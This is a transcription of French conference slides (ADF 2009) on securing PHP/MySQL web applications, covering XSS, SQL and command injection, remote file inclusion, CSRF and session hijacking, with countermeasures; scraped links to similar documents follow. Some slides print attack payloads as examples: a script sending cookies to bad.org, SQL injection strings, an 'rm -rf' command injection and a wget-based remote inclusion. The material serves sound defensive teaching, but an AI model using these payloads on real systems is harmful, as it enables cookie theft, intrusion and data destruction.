ADF 2009 Sécurisation d applications PHP/MySQL

Dimension: px
Commencer à balayer dès la page:

Download "ADF 2009 Sécurisation d applications PHP/MySQL"

Transcription

1 ADF 2009 Sécurisation d applications PHP/MySQL Magali Contensin

2 Plan 1. Filtrer les entrées, protéger les sorties 2. Sécurité par l obscurité 3. XSS 4. Injections 5. CSRF 6. Détournement de sessions

3 1. Filtrer entrées / protéger sorties Application web entrées : données primaires et secondaires sorties fichiers Requête HTTP en-tête Réponse HTTP Application Web SGBD corps en-tête sessions corps texte ou binaire env.

4 1. Filtrer entrées / protéger sorties Envoi de données par GET Données placées dans - URL - cookies Requête HTTP GET GET /voyage.php?lieu=venise HTTP/1.1 Host: Cookie: lang=fr;id=214535e1fa User-Agent: Firefox en-tête corps vide corps

5 1. Filtrer entrées / protéger sorties Envoi de données par GET Données placées dans - URL - cookies voyage.php?lieu=venise Cookie: lang=fr;id=214535e1fa Envoi provoqué par : - action volontaire ou involontaire - navigateur (récupération images, css, scripts, ) - telnet port 80

6 1. Filtrer entrées / protéger sorties Entrées d un script PHP pour GET GET /voyage.php?lieu=venise HTTP/1.1 Host: User-Agent: Firefox Cookie: lang=fr;id=214535e1fa $_GET $_COOKIE $_SERVER

7 1. Filtrer entrées / protéger sorties Envoi de données par POST Données placées dans - Corps - URL - cookies Requête HTTP POST POST /reservation.php?id=2 HTTP/1.1 Host: Cookie: lang=fr;id=214535e1fa User-Agent: Firefox Content-Type: application/x-www-form-urlencoded Content-Length: 11 lieu=venise en-tête corps

8 1. Filtrer entrées / protéger sorties Envoi de données par POST Données placées dans - Corps lieu=venise - URL reservation.php?id=2 - cookies Cookie: lang=fr;id=214535e1f Envoi provoqué par : - action volontaire ou involontaire - telnet port 80

9 1. Filtrer entrées / protéger sorties Entrées d un script PHP pour GET et POST GET /voyage.php?lieu=venise HTTP/1.1 Host: User-Agent: Firefox Cookie: lang=fr;id=214535e1fa $_REQUEST $_GET $_COOKIE $_POST $_SERVER POST /reservation.php?id=25 HTTP/1.1 Host: User-Agent: Firefox Cookie: lang=fr;id=214535e1fa Content-Type: application/x-www-form-urlencoded Content-Length: 11 lieu=venise

10 1. Filtrer entrées / protéger sorties Entrées d un script PHP pour GET et POST GET /voyage.php?lieu=venise HTTP/1.1 Host: User-Agent: Firefox Cookie: lang=fr;id=214535e1fa $_REQUEST $_GET $_COOKIE $_POST $_SERVER $_FILES POST /reservation.php?id=25 HTTP/1.1 Host: User-Agent: Firefox Cookie: lang=fr;id=214535e1fa Content-Type: application/x-www-form-urlencoded Content-Length: 11 lieu=venise POST

11 1. Filtrer entrées / protéger sorties Entrées d un script PHP GET /voyage.php?lieu=venise HTTP/1.1 Host: User-Agent: Firefox Cookie: lang=fr;id=214535e1fa $_REQUEST $_GET $_COOKIE $_POST $_SERVER $_FILES $_ENV POST /reservation.php?id=25 HTTP/1.1 Host: User-Agent: Firefox Cookie: lang=fr;id=214535e1fa Content-Type: application/x-www-form-urlencoded Content-Length: 11 lieu=venise POST

12 1. Filtrer entrées / protéger sorties Entrées d un script PHP GET /voyage.php?lieu=venise HTTP/1.1 Host: User-Agent: Firefox Cookie: lang=fr;id=214535e1fa $_REQUEST $_GET $_COOKIE $_POST $_SERVER $_FILES $_ENV $_SESSION POST /reservation.php?id=25 HTTP/1.1 Host: User-Agent: Firefox Cookie: lang=fr;id=214535e1fa Content-Type: application/x-www-form-urlencoded Content-Length: 11 lieu=venise POST fichier session données secondaires

13 1. Filtrer entrées / protéger sorties Envoi de données malveillantes Modification d un formulaire Modification de la query string Requête forgée (telnet port 80, TamperData)

14 1. Filtrer entrées / protéger sorties Implications méthode HTTP différente de celle attendue champs en-tête HTTP modifiés (User-Agent) absence d arguments attendus arguments ajoutés = nouvelles variables si register_globals = on valeurs inattendues pour des arguments

15 1. Filtrer entrées / protéger sorties Données reçues peuvent être : stockées dans SGBD, fichier, session XSS stocké utilisées pour interroger un SGBD SQL Injection utilisées pour exécuter un programme Injection de commandes Ne jamais faire confiance aux données envoyées par le client

16 1. Filtrer entrées / protéger sorties Actions à entreprendre du côté du programmeur Vérifier toute entrée Données à vérifier $_GET, $_POST, $_COOKIE, $_REQUEST, $_FILES, $_SERVER, $_ENV et $_SESSION Contrôles à effectuer - type données : intval, ctype_*, cast - présence des données attendues - valeurs de nombres comprises entre deux bornes - taillemin < taille donnée < taillemax - jeu de caractères - valeur null autorisée ou non - select, radio, : valeur comprise dans une liste

17 1. Filtrer entrées / protéger sorties Actions à entreprendre du côté du programmeur Vérifier toute entrée Données à vérifier $_GET, $_POST, $_COOKIE, $_REQUEST, $_FILES, $_SERVER, $_ENV et $_SESSION Contrôles à effectuer Filtrage - liste blanche : Indique ce qui est autorisé - liste noire : Indique ce qui est interdit A éviter car plus permissif

18 1. Filtrer entrées / protéger sorties Actions à entreprendre du côté du programmeur Vérifier toute entrée Protéger les données passées à un interpréteur Injections SQL : guillemets autour de la donnée mysql_real_escape_string($data) Injection null dans les chaînes, regexp Injection de commande (exec, system, ) escapeshellarg($data), escapeshellcommand($data)

19 1. Filtrer entrées / protéger sorties Actions à entreprendre du côté du programmeur Vérifier toute entrée Protéger les données passées à un interpréteur Protéger les opérations sur les fichiers (file, readfile, unlink, include, upload, ) Vérification du chemin Suppression du chemin realpath($chemin) basename($chemin) <?php // script code.php header("content-type:text/plain"); $fichier = basename($_get["p"]); readfile($fichier);?>

20 1. Filtrer entrées / protéger sorties Actions à entreprendre du côté du programmeur Vérifier toute entrée Protéger les données passées à un interpréteur Protéger les opérations sur les fichiers (file, readfile, unlink, include, upload, ) File upload - Lire les données avec $_FILES - Manipuler avec move_uploaded_file - Renommer (ne pas utiliser le nom de fichier envoyé) - Vérifier le type du fichier (interdit l upload de scripts)

21 1. Filtrer entrées / protéger sorties Actions à entreprendre du côté du programmeur Vérifier toute entrée Protéger les données passées à un interpréteur Protéger les opérations sur les fichiers Filtrer les sorties vers le client Définir le jeu de caractères de la page <meta http-equiv="content-type«content="text/html; charset=utf-8"/> Coder les caractères spéciaux htmlentities, htmlspecialchars(chaine, ENT_QUOTES)

22 1. Filtrer entrées / protéger sorties Actions à entreprendre du côté du programmeur Vérifier toute entrée Protéger les données passées à un interpréteur Protéger les opérations sur les fichiers Filtrer les sorties vers le client Initialiser les variables Récupérer les données par la méthode attendue Ne pas utiliser : extract, $_REQUEST, register_globals à on

23 1. Filtrer entrées / protéger sorties Actions à entreprendre du côté administrateur php.ini register_globals off <?php // login.php if (verifclient($_post['login'], $_POST['passwd'])){ $ok = true ; } if ($ok){ }?>

24 1. Filtrer entrées / protéger sorties Actions à entreprendre du côté administrateur php.ini register_globals off error_reporting E_ALL open_basedir arborescence_autorisee allow_url_fopen off disable_functions liste_fonctions_interdites magic_quotes_gpc off

25 1. Filtrer entrées / protéger sorties Actions à entreprendre du côté administrateur php.ini fichier automatiquement inclus (auto_prepend_file) : foreach($_post as $cle=>$val){ $_POST[$cle] = strip_tags($val); } mod_security attention à AllowOverride All ou Options autorise la modification de directives du php.ini dans un.htaccess

26 Plan 1. Filtrer les entrées, protéger les sorties 2. Sécurité par l obscurité 3. XSS 4. Injections 5. CSRF 6. Détournement de sessions

27 2. Sécurité par l obscurité Informations données par Apache ServerSignature

28 2. Sécurité par l obscurité Informations données par Apache ServerTokens HTTP/ OK HTTP/ OK Date: Sat, 26 Apr :54:37 GMT Server: Apache/ (Unix) PHP/4.4.2 mod_ssl/ OpenSSL/0.9.7a Connection: close Content-Type: text/html X-Powered-By: PHP/4.4.2 Connection closed by foreign host.

29 2. Sécurité par l obscurité Informations données par PHP expose_php réponse HTTP 200 OK Connection: close Date: Sat, 26 Apr :00:03 GMT Server: Apache Content-Type: text/html X-Powered-By: PHP/4.4.2

30 2. Sécurité par l obscurité Informations données par PHP expose_php réponse HTTP crédits?=phpb8b5f2a0-3c92-11d3-a3a9-4c7b08c10000

31 2. Sécurité par l obscurité Informations données par PHP expose_php réponse HTTP crédits images?=phpe9568f34-d428-11d2-a769-00aa001acf42?=phpe9568f35-d428-11d2-a769-00aa001acf42?=phpe9568f36-d428-11d2-a769-00aa001acf42

32 2. Sécurité par l obscurité Informations données par PHP expose_php réponse HTTP crédits images ext/standard/info.h : #define PHP_LOGO_GUID "PHPE9568F34-D428-11d2-A769-00AA001ACF42" #define PHP_EGG_LOGO_GUID "PHPE9568F36-D428-11d2-A769-00AA001ACF42" #define ZEND_LOGO_GUID "PHPE9568F35-D428-11d2-A769-00AA001ACF42" #define PHP_CREDITS_GUID "PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000"

33 2. Sécurité par l obscurité Informations données par l extension.php Associer une autre extension AddType application/x-httpd-php.asp Parser.html AddType application/x-httpd-php.htm.html Application par défaut DefaultType application/x-httpd-php Réécriture rewriteengine on rewriterule (.+).html$ $1.php [L]

34 2. Sécurité par l obscurité Cookie de session session.name

35 2. Sécurité par l obscurité Affichage des erreurs Warning: sort() expects parameter 1 to be array, integer given in /web/crfb/test.php on line 7 error_reporting display_errors display_startup_errors log_errors error_log report_memleaks track_errors

36 2. Sécurité par l obscurité Attention aux modif. dans le.htaccess <Directory /web/crfb/pagesperso/magali/testerr> AllowOverride All </Directory>.htaccess php_flag display_errors on php_value directive valeur PHP_INI_PERDIR register_globals, variables_order, register_long_arrays, auto_append_files, auto_prepend_files, magic_quotes_gpc, post_max_size, upload_max_filesize, short_open_tags, asp_tags PHP_INI_ALL

37 2. Sécurité par l obscurité Attention aux modif. dans le.htaccess <Directory /web/crfb/pagesperso/magali/testerr> AllowOverride All </Directory>.htaccess php_flag display_errors on php_value upload_max_filesize 900M php_admin_flag display_errors on php_admin_value upload_max_filesize 10M

38 2. Sécurité par l obscurité Informations données par des fichiers non protégés sur le serveur <?php echo "bonjour ", $_GET['nom'];...?>

39 2. Sécurité par l obscurité Informations données par des fichiers non protégés sur le serveur

40 2. Sécurité par l obscurité Informations données par des fichiers non protégés sur le serveur

41 2. Sécurité par l obscurité Informations données par des fichiers non protégés sur le serveur <Files ~ "^\.ht ~$"> Order allow,deny RedirectMatch 404 ~$ Deny from all RedirectMatch 404 \.htaccess </Files>

42 2. Sécurité par l obscurité Informations données par les listings <Directory "/web/crfb/"> Options ExecCGI Indexes </Directory>

43 2. Sécurité par l obscurité Informations données par les logiciels

44 2. Sécurité par l obscurité Informations données par les logiciels restreindre accès (.htaccess ou sessions) configurer pour une info minimale interdire les fonctions php (disable_functions) php_uname, phpversion, mysql_get_server_info

45 2. Sécurité par l obscurité Informations données par php disable_functions = "phpinfo"

46 2. Sécurité par l obscurité Code source <?php show_source($_get['fichier'])?>

47 2. Sécurité par l obscurité Code source disable_functions = "show_source, highlight_file" open_basedir = "/web/:/tmp/"

48 2. Sécurité par l obscurité Code source # AddType application/x-httpd-php-source.phps AddType application/x-httpd-php.php.php3.php4.phps RedirectMatch 404 \.phps$

49 2. Sécurité par l obscurité Masquer Apache Apache 1.3 modifier httpd.h #define SERVER_BASEPRODUCT "Apache #define SERVER_BASEREVISION "1.3.34" Apache 2.0 modifier ap_release.h #define AP_SERVER_BASEVENDOR "Apache Software Foundation" #define AP_SERVER_BASEPRODUCT "Apache" #define AP_SERVER_MAJORVERSION_NUMBER 2 #define AP_SERVER_MINORVERSION_NUMBER 0 #define AP_SERVER_PATCHLEVEL_NUMBER 58

50 2. Sécurité par l obscurité Interdire l indexation fichier robots.txt User-agent: * Disallow: /cgi-bin/ Disallow: /docs/

51 2. Sécurité par l obscurité Interdire la mise en cache de données dans le navigateur Complétion formulaires <form action="valider.php" method="post"> <form action="valider.php" AUTOCOMPLETE="off" method="post">

52 2. Sécurité par l obscurité Interdire la mise en cache de données dans le navigateur Complétion formulaires Page web Pragma:no-cache HTTP/1.0 Cache-control:no-cache HTTP/1.1 Expires header("cache-control: no-cache"); header("pragma: no-cache"); header("expires: Thu, 01 Jan :00:00 GMT");

53 2. Sécurité par l obscurité Masquer les données de connexion SGBD httpd.conf <Directory "/web/crfb/pagesperso/magali/testsiars"> Include /home/magali/connexion.txt </Directory> SetEnv dblogin "magali" SetEnv dbpass "m2pasmag" SetEnv dbbd "ma_base" SetEnv dbhost " " <?php echo $_SERVER['dbLogin'];?> <?php system('cat /home/magali/connexion.txt');?>

54 2. Sécurité par l obscurité Masquer les données de connexion SGBD httpd.conf.htaccess

55 2. Sécurité par l obscurité Masquer les données de connexion SGBD httpd.conf.htaccess directives php mysql.default_user mysql.default_password mysql.default_port mysql.default_host get_cfg_var("mysql.default_password");

56 Plan 1. Filtrer les entrées, protéger les sorties 2. Sécurité par l obscurité 3. Protection contre le XSS 4. Injections 5. CSRF 6. Détournement de sessions

57 3. Protection contre le XSS Attaque Stockée sur le serveur web XSS envoyé par le pirate nom Smith<script src=http://bad.org/c.js></script> mail 1 Erreur 1 : XSS pas de vérification des entrées 2 Application Web Smith <script src=http://bad.org/c.js> </script> XSS SGBD <?php import_request_variables('g', 'f_'); $req = "INSERT INTO users (nom, mail) VALUES ('$f_nom', '$f_mail')" ; $res = mysql_query($req) or die("erreur"); echo "donnees inserees";?> 3

58 3. Protection contre le XSS Attaque Stockée sur le serveur web l accès à une ressource provoque l envoi du XSS au navigateur admin. 1 GET liste_inscrits.php XSS Application Web Smith <script src=http://bad.org/c.js> </script> XSS SGBD 3 Smith <script src=http://bad.org/c.js></script> Erreur 2 : pas de protection des sorties 2 <?php $req = "SELECT nom, mail FROM users"; $res = mysql_query($req) or die("erreur"); while ($ligne = mysql_fetch_assoc($res)){ echo $ligne['nom']," ",$ligne['mail'],"<br>"; }?>

59 3. Protection contre le XSS Attaque Stockée sur le serveur web le XSS est exécuté par le navigateur admin. 1 GET liste_inscrits.php 3 5 XSS Application Web Smith <script src=http://bad.org/c.js> </script> vol de session idsess=a2345effb9ccd XSS SGBD GET document.write( <img src=http://bad.org/c.php? +document.cookie+ width=1> ) 4 GET c.js bad.org

60 3. Protection contre le XSS Actions à entreprendre Filtrer les entrées (par liste blanche) éventuellement utiliser utf8_decode et strip_tags Préciser le jeu de caractères Protéger les sorties (htmlentities, htmlspecialchars) <?php $req = "SELECT nom, mail FROM users"; $res = mysql_query($req) or die("erreur"); while ($ligne = mysql_fetch_assoc($res)){ echo htmlentities($ligne['nom'], ENT_QUOTES), " ", htmlentites($ligne['mail'], ENT_QUOTES), "<br>"; }?> Smith <script src=http://bad.org/c.js></script>

61 Plan 1. Filtrer les entrées, protéger les sorties 2. Sécurité par l obscurité 3. Protection contre le XSS 4. Protection contre les Injections 5. CSRF 6. Détournement de sessions

62 4. Protection contre les injections SQL magic_quotes_gpc = off ' OR 1 = POST HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 24 login=%27+or+1+=+1+--%20 Application Web 2 <?php... $login = $_POST['login']; $pwd = $_POST['passwd']; $req = "SELECT login, prenom FROM utilisateur WHERE login='$login' AND password='$pwd'"; $result = mysql_query($req) or exit("erreur"); if (mysql_num_rows($result) == 0){ die("erreur d'authentification "); } $ligne = mysql_fetch_assoc($result); echo "bonjour ", $ligne['prenom'], "!";?>

63 4. Protection contre les injections SQL magic_quotes_gpc = off ' OR 1 = POST HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 24 login=%27+or+1+=+1+--%20 2 SELECT login, prenom FROM utilisateur WHERE login='' OR 1 = 1 -- ' AND password='' Application Web SGBD

64 4. Protection contre les injections SQL magic_quotes_gpc = off ' OR 1 = POST HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 24 login=%27+or+1+=+1+--%20 2 SELECT login, prenom FROM utilisateur WHERE login='' OR 1 = 1 -- ' AND password='' bonjour Magali! 4 Application Web 3 SGBD login prenom mag Magali admin Grand chef

65 4. Protection contre les injections SQL magic_quotes_gpc = off ' OR 1 = 1 LIMIT 1, POST HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 36 login=%27+or+1+=+1+limit+1%2c1+--%20 bonjour Grand chef! 4 Application Web SELECT login, prenom FROM utilisateur WHERE login='' OR 1 = 1 LIMIT 1,1 -- ' AND password='' 2 3 SGBD login prenom mag Magali admin Grand chef

66 4. Protection contre les injections SQL - actions à entreprendre côté programmeur protéger les données avec mysql_real_escape_string <?php... $login = $_POST['login']; $pwd = $_POST['passwd']; $req = "SELECT login, prenom FROM utilisateur WHERE login='". mysql_real_escape_string($login). "' AND password='". mysql_real_escape_string($pwd). "'"; $result = mysql_query($req) or exit("erreur"); if (mysql_num_rows($result) == 0){ die("erreur d'authentification "); } $ligne = mysql_fetch_assoc($result); echo "bonjour ", $ligne['prenom'], "!";?> ' OR 1 = 1 LIMIT 1,1 -- SELECT login, prenom FROM utilisateur WHERE login='\' OR 1 = \'1 LIMIT 1,1 -- ' AND password='';

67 4. Protection contre les injections SQL - actions à entreprendre côté programmeur protéger les données avec mysql_real_escape_string filtrer les entrées : taille, type,... cast des nombres ou mettre des ' ' autour des nombres $req = "UPDATE commande SET quantite = $nb WHERE ref=$ref";?ref=21&nb=5,%20desc=load%20infile('/etc/passwd') UPDATE commande SET quantite=5, desc=load INFILE('/etc/passwd') WHERE ref=21

68 4. Protection contre les injections SQL - actions à entreprendre côté programmeur protéger les données avec mysql_real_escape_string filtrer les entrées : taille, type,... cast des nombres ou mettre des ' ' autour des nombres utiliser des requêtes préparées $log = $_POST['login']; $log = $_POST['login']; $pwd = $_POST['passwd']; // connexion $db = new mysqli(ip, LOGIN, PASS, DB, PORT) or die('echec'); // preparer la requete $req = "SELECT prenom, mail FROM users WHERE login=? AND password=?"; $prep = $db->prepare($req) or die ('pb'); $prep->bind_param("ss", $log, $pwd); // lier les 2 var. de type string $prep->execute(); $prep->bind_result($prenom, $mail); // lier les colonnes aux var. $prep->fetch() ; echo "bonjour ", htmlentities($prenom), " votre mail est ", htmlentities($mail); $prep->close(); // deconnexion $db->close();

69 4. Protection contre les injections SQL - actions à entreprendre côté admin. magic_quotes_gpc aucun affichage d erreur sur un serveur en production privilèges restreints pour le compte mysql utilisé pour le web plusieurs instances de mysql avec mysqld_multi protéger les connexions entre le serveur web et le serveur SGBD

70 4. Protection contre les injections Commandes <?php echo system("ls -1 *.".$_GET['ext']);?> 1 listing.php /listing.php?ext=php;cd/;rm+-rf+* 2 ls -1 *.php;cd/;rm+-rf+* cnx.php index.php connectbase.php listing.php 3 4 / 5

71 4. Protection contre les injections Commandes - actions à entreprendre Développeur Filtrer les entrées if (!ctype_alpha($ext)){ die("argument non valide"); } Protéger des méta-caractères (escapeshellcmd, escapeshellarg) Administrateur Désactiver si possible system, exec, shell_exec (disable_functions)

72 4. Protection contre les injections Code (RFI Remote File Inclusion) exec bad.org GET bad.txt 3 bad.txt <?php echo system('cd /tmp; ls; wget ls');?> 5 2 test.php?p=http://bad.org/bad.txt%00 4 wget 1 test.php <?php require($_get['p'].".php");?> <?php /tmp echo system('cd /tmp; ls; wget ls');?>

73 4. Protection contre les injections Code - actions à entreprendre Développeur Filtrer les entrées Chemin : utiliser basename, realpath Protéger des méta-caractères (escapeshellcmd, escapeshellarg) Administrateur Désactiver si possible eval (disable_functions) allow_url_fopen à off (allow_url_include depuis PHP 5.2.0) Utiliser curl Fixer le répertoire d inclusion avec open_basedir Filtrer les connexions sortantes sur le pare-feu

74 5. Protection contre les injections Null injection (caractère \0) <?php $fichier = basename($_get['nom']); readfile($fichier.".txt");?>?nom=nom_script.php%00 <?php if (preg_match("/[^a-za-z]/", $_GET['chaine'])){ die('erreur'); } else{ echo 'ok'; }?chaine=test1?>?chaine=%00test1 Actions à entreprendre Filtrer les entrées (méthode liste blanche)

75 Plan 1. Filtrer les entrées, protéger les sorties 2. Sécurité par l obscurité 3. XSS 4. Injections 5. CSRF 6. Détournement de sessions

76 5. Protection contre le CSRF Ajouter un commentaire <img src='article.php?id=3&action=del' width='0'> <img src='article.php?id=3&action=del' width='0'> 1 membre d un site protégé 3 SGBD 2 GET article.php?id=3&action=read membre d un site protégé 4 <img src='article.php?id=3&action=del' width='0'> GET

77 5. Protection contre le CSRF Actions à entreprendre Majorité des attaques = méthode GET Utiliser POST si mise à jour de données Ne pas utiliser $_REQUEST pour récupérer les données => Protège contre les attaques menées par GET Attaques utilisant POST Forcer l utilisation du formulaire du site (idée s assurer que les données reçues par POST proviennent bien d un formulaire envoyé par le site) => Utiliser un identifiant aléatoire pour chaque formulaire, stocké en session avec un délai de validité

78 Plan 1. Filtrer les entrées, protéger les sorties 2. Sécurité par l obscurité 3. XSS 4. Injections 5. CSRF 6. Détournement de sessions

79 6. Protection contre le vol de session Détourner une session = fournir un id valide 1 login=zorro&passwd=paszorro sessid=21000 Bonjour Zorro 2 3 sessid=21000 article=12&action=voir sessid=21000 article=5&action=supprimer

80 6. Protection contre le vol de session Détourner une session = fournir un id valide Identifiant transmis par cookie, URL, champ form. Attaques pour obtenir un identifiant valide Prédiction (id = nombre entier incrémenté) Force brute Fixation Vol o id dans l URL (historique, bookmark, logs, envoi par mail, ) o vol de cookie (XSS, ordinateur public) o interception (écoute réseau) o consultation des fichiers de session sur le serveur

81 6. Protection contre le vol de session Actions à entreprendre Développeur Générer un nouvel id de session après identification (session_regenerate_id) Limiter la durée de validité d une session Utiliser un 2 ème moyen de suivi de session (User-Agent) Toujours proposer une déconnexion Utiliser les identifiants de session PHP Administrateur session.use_only_cookies SSL protéger les fichiers de session (stocker dans SGBD, utiliser open_basedir)

82 Sur Internet Top 25 Most Dangerous Programming Errors WASC (Web Application Security Consortium) OWASP (Open Web Application Security Project) CERTA (Centre d Expertise Gouvernemental de Réponse et de Traitement des Attaques Informatiques) CERT (Computer Emergency Response Team)

Sécurité d un site php

Sécurité d un site php Sensibilisation IUT de Fontainebleau 8 juin 2015 1 2 1 2 Enjeux L application manipulent-ils des données fiables? L application interagit-elle avec le bon interlocuteur? Le secret des données échangées

Plus en détail

Sécurité des sites Web Pas un cours un recueil du net. INF340 Jean-François Berdjugin

Sécurité des sites Web Pas un cours un recueil du net. INF340 Jean-François Berdjugin Sécurité des sites Web Pas un cours un recueil du net INF340 Jean-François Berdjugin Vulnérabilité Définition (wikipédia) : Dans le domaine de la sécurité informatique, une vulnérabilité est une faiblesse

Plus en détail

T. HSU Sécurité des programmes PHP

T. HSU Sécurité des programmes PHP Sécurité des programmes PHP T. HSU IUT de LENS, Département informatique November 13, 2012 Part I Introduction à PHP Fonctionnement 1 : Requète PHP 2 : Aller chercher la page MySQL Page PHP Moteur PHP

Plus en détail

Principales failles de sécurité des applications Web Principes, parades et bonnes pratiques de développement

Principales failles de sécurité des applications Web Principes, parades et bonnes pratiques de développement Guillaume HARRY l Contenu sous licence Creative Commons CC-BY-NC-ND Principales failles de sécurité des applications Web Principes, parades et bonnes pratiques de développement P. 2 1. Introduction 2.

Plus en détail

La sécurité pour les développeurs. Christophe Villeneuve @hellosct1

La sécurité pour les développeurs. Christophe Villeneuve @hellosct1 La sécurité pour les développeurs Christophe Villeneuve @hellosct1 Qui... est Christophe Villeneuve? afup lemug.fr mysql mariadb drupal demoscene firefoxos drupagora phptour forumphp solutionlinux demoinparis

Plus en détail

HERVÉ SCHAUER CONSULTANTS Cabinet de Consultants en Sécurité Informatique depuis 1989 Spécialisé sur Unix, Windows, TCP/IP et Internet

HERVÉ SCHAUER CONSULTANTS Cabinet de Consultants en Sécurité Informatique depuis 1989 Spécialisé sur Unix, Windows, TCP/IP et Internet HERVÉ SCHAUER CONSULTANTS Cabinet de Consultants en Sécurité Informatique depuis 1989 Spécialisé sur Unix, Windows, TCP/IP et Internet Forum AFUP 2003 Sécurité PHP Alain Thivillon Alain Thivillon

Plus en détail

PHP & BD. PHP & Bases de données. Logiciels & matériels utilisés. Bases de données et Web

PHP & BD. PHP & Bases de données. Logiciels & matériels utilisés. Bases de données et Web PHP & Bases de données La quantité de données utilisée par certains sites web nécessite l'utilisation d'une base de données Il faut donc disposer d'un SGBD (mysql, postgresql, oracle, ) installé sur un

Plus en détail

Sécurite Web. Xavier Tannier xavier.tannier@limsi.fr. Yann Jacob yann.jacob@lip6.fr

Sécurite Web. Xavier Tannier xavier.tannier@limsi.fr. Yann Jacob yann.jacob@lip6.fr Sécurite Web Xavier Tannier xavier.tannier@limsi.fr Yann Jacob yann.jacob@lip6.fr Généralités 80 % des sites contiennent au moins une faille de sécurité 24 familles de failles différentes : on ne présente

Plus en détail

HACKEZ-MOI CETTE APPLICATION. RMLL, 2010 Bordeaux, France, 7 juillet 2010

HACKEZ-MOI CETTE APPLICATION. RMLL, 2010 Bordeaux, France, 7 juillet 2010 HACKEZ-MOI CETTE APPLICATION RMLL, 2010 Bordeaux, France, 7 juillet 2010 1 MENU DU JOUR Comment attaquer une application Web Découverte Code ouvert Cas réels 2 AFUP http://www.afup.org/ 3 AYE CAPTAIN Groupe

Plus en détail

La sécurisation d applications

La sécurisation d applications Université Toulouse 1 Sciences Sociales 10 mars 2008 Les firewalls ne suffisent plus Mais ont-ils jamais été suffisants? La protection à 100% n existe pas. De plus certains protocoles doivent absolument

Plus en détail

Web dynamique. Techniques, outils, applications. (Partie C)

Web dynamique. Techniques, outils, applications. (Partie C) Web dynamique Techniques, outils, applications (Partie C) Nadir Boussoukaia - 2006 1 SOMMAIRE 1. MySQL et PHP (20 min) 2. SQL (petits rappels) (20 min) 2 MySQL et PHP Synthèse 3 MySQL et PHP SGBD MySQL

Plus en détail

cedric.foll@(education.gouv.fr laposte.net) Ministère de l'éducation nationale Atelier sécurité Rabat RALL 2007

cedric.foll@(education.gouv.fr laposte.net) Ministère de l'éducation nationale Atelier sécurité Rabat RALL 2007 A t t a q u e s c o n t r e l e s a p p l i s w e b cedric.foll@(education.gouv.fr laposte.net) Ministère de l'éducation nationale Atelier sécurité Rabat RALL 2007 D e l ' u t i l i t é d e l ' a t t a

Plus en détail

PHP et les Bases de données - Généralités

PHP et les Bases de données - Généralités PHP et les Bases de données - Généralités Conception d une base de données Méthodes utilisées : MERISE, UML Modèle conceptuel des données MCD, Modèle logique MLD, Modèle Physique MPD. Ces aspects seront

Plus en détail

PHP et MySQL : notions de sécurité

PHP et MySQL : notions de sécurité PHP et MySQL : notions de sécurité Jean-Baptiste.Vioix@u-bourgogne.fr Dans ces quelques lignes des notions de sécurité élémentaires vont être présentées. Elles sont insuffisantes pour toute application

Plus en détail

Serveurs de noms Protocoles HTTP et FTP

Serveurs de noms Protocoles HTTP et FTP Nils Schaefer Théorie des réseaux (EC3a) Serveurs de noms Protocoles HTTP et FTP Théorie des réseaux (EC3a) Séance 7 Pourquoi DNS? Internet est une structure hiérarchique et arborescente de réseaux et

Plus en détail

Cours Web : Introduction

Cours Web : Introduction Cours Web : Introduction Catherine Letondal letondal@pasteur.fr Institut Pasteur Cours Web IEB 2005 p.1/?? Pourquoi un cours Web? le Web : c est stratégique en biologie c est un bon exemple de système

Plus en détail

PHP CLÉS EN MAIN. 76 scripts efficaces pour enrichir vos sites web. par William Steinmetz et Brian Ward

PHP CLÉS EN MAIN. 76 scripts efficaces pour enrichir vos sites web. par William Steinmetz et Brian Ward PHP CLÉS EN MAIN 76 scripts efficaces pour enrichir vos sites web par William Steinmetz et Brian Ward TABLE DES MATIÈRES INTRODUCTION 1 1 TOUT CE QUE VOUS AVEZ TOUJOURS VOULU SAVOIR SUR LES SCRIPTS PHP

Plus en détail

L3 informatique TP n o 2 : Les applications réseau

L3 informatique TP n o 2 : Les applications réseau L3 informatique TP n o 2 : Les applications réseau Sovanna Tan Septembre 2009 1/20 Sovanna Tan L3 informatique TP n o 2 : Les applications réseau Plan 1 Transfert de fichiers 2 Le Courrier électronique

Plus en détail

SERVEUR HTTP Administration d apache

SERVEUR HTTP Administration d apache 1 SERVEUR HTTP Administration d apache PLAN Introduction: Présentation HTTP; Installation et configuration d apache; VirtualHosts; Aliasing; Limitation d accès. 2 PROTOCOLE HTTP PRÉSENTATION HTTP : HyperText

Plus en détail

Aide-mémoire minimal pour la sécurité en PHP François Gannaz (francois.gannaz@silecs.info)

Aide-mémoire minimal pour la sécurité en PHP François Gannaz (francois.gannaz@silecs.info) 1 Généralités Aide-mémoire minimal pour la sécurité en PHP François Gannaz (francois.gannaz@silecs.info) 1.1 Principes fondamentaux Evaluer le risque potentiel de l'application : diusion, données sensibles...

Plus en détail

Serveur Web Apache - SSL - PHP Debian GNU/Linux

Serveur Web Apache - SSL - PHP Debian GNU/Linux Serveur Web Apache - SSL - PHP Debian GNU/Linux Matthieu Vogelweith 24 août 2009 Résumé L objectif de ce document est de détailler l installation d un serveur Web Apache [1] complet sous Debian GNU/Linux

Plus en détail

OWASP Open Web Application Security Project. Jean-Marc Robert Génie logiciel et des TI

OWASP Open Web Application Security Project. Jean-Marc Robert Génie logiciel et des TI OWASP Open Web Application Security Project Jean-Marc Robert Génie logiciel et des TI A1: Injection Une faille d'injection, telle l'injection SQL, OS et LDAP, se produit quand une donnée non fiable est

Plus en détail

Audit Sécurité vendredi 13 novembre 2009 1

Audit Sécurité vendredi 13 novembre 2009 1 Audit Sécurité 1 Ordre du jour Présentation de l atelier Audit boîte noire Audit à code ouvert 2 Qui parle? Philippe Gamache Parler haut, interagir librement : audit de sécurité, formations Caviste de

Plus en détail

Failles XSS : Principes, Catégories Démonstrations, Contre mesures

Failles XSS : Principes, Catégories Démonstrations, Contre mesures HERVÉ SCHAUER CONSULTANTS Cabinet de Consultants en Sécurité Informatique depuis 1989 Spécialisé sur Unix, Windows, TCP/IP et Internet Séminaire 15 ans HSC Failles XSS : Principes, Catégories Démonstrations,

Plus en détail

Sécurité web et PHP 5

Sécurité web et PHP 5 Web Formulaires SQL Sessions Fichiers Auth Env Fin Sécurité web et PHP 5 François Gannaz - SILECS Web Formulaires SQL Sessions Fichiers Auth Env Fin Règles d or de la sécurité Bonnes pratiques Gestion

Plus en détail

